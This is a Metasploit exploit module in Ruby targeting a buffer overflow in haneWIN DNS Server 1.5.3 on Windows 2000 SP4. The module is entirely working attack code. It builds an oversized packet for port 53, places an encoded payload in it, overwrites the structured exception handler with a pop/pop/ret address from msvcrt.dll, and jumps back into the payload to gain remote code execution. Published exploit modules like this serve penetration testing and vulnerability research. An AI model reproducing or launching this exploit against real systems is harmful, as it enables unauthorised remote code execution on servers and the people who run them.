require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'haneWIN DNS Server Buffer Overflow',
            'Description'   => %q{
                This module exploits a buffer overflow vulnerability found in
                haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
                by sending an overly long packet to the victim server. A memcpy
                function blindly copies user supplied data to a fixed size buffer
                leading to remote code execution. 
 
                This module was tested against haneWIN DNS 1.5.3
            },
            'Author' => [ 'james fitts' ],
            'License' => MSF_LICENSE,
            'References' =>
                [
                    [ 'EDB', '31260' ],
                    [ 'OSVDB', '102773' ]
                ],
            'Privileged'  => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 1000,
                    'DisableNops' => true,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'Platform' => 'win',
            'DefaultTarget' => 0,
            'Targets' =>
                [
                    [
                        'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
                        {
                            # msvcrt.dll v6.10.9844.0
                            # pop esi/ pop edi/ retn
                            'Ret' => 0x78010394,
                        }
                    ]
                ],
            'DisclosureDate' => 'Jul 27 2013'))
 
            register_options([Opt::RPORT(53)], self.class)
    end
 
    def exploit
        connect
 
        p = make_nops(32) + payload.encoded
 
        buf = Rex::Text.pattern_create(5000)
        buf[0, 2] = [0x4e20].pack('n')                          # length for malloc
        buf[1332, p.length] = p
        buf[2324, 8] = generate_seh_record(target.ret)
        buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff"  # jmp $-1000 
 
        print_status("Sending malicious request...")
        sock.put(buf)
        disconnect
 
    end
end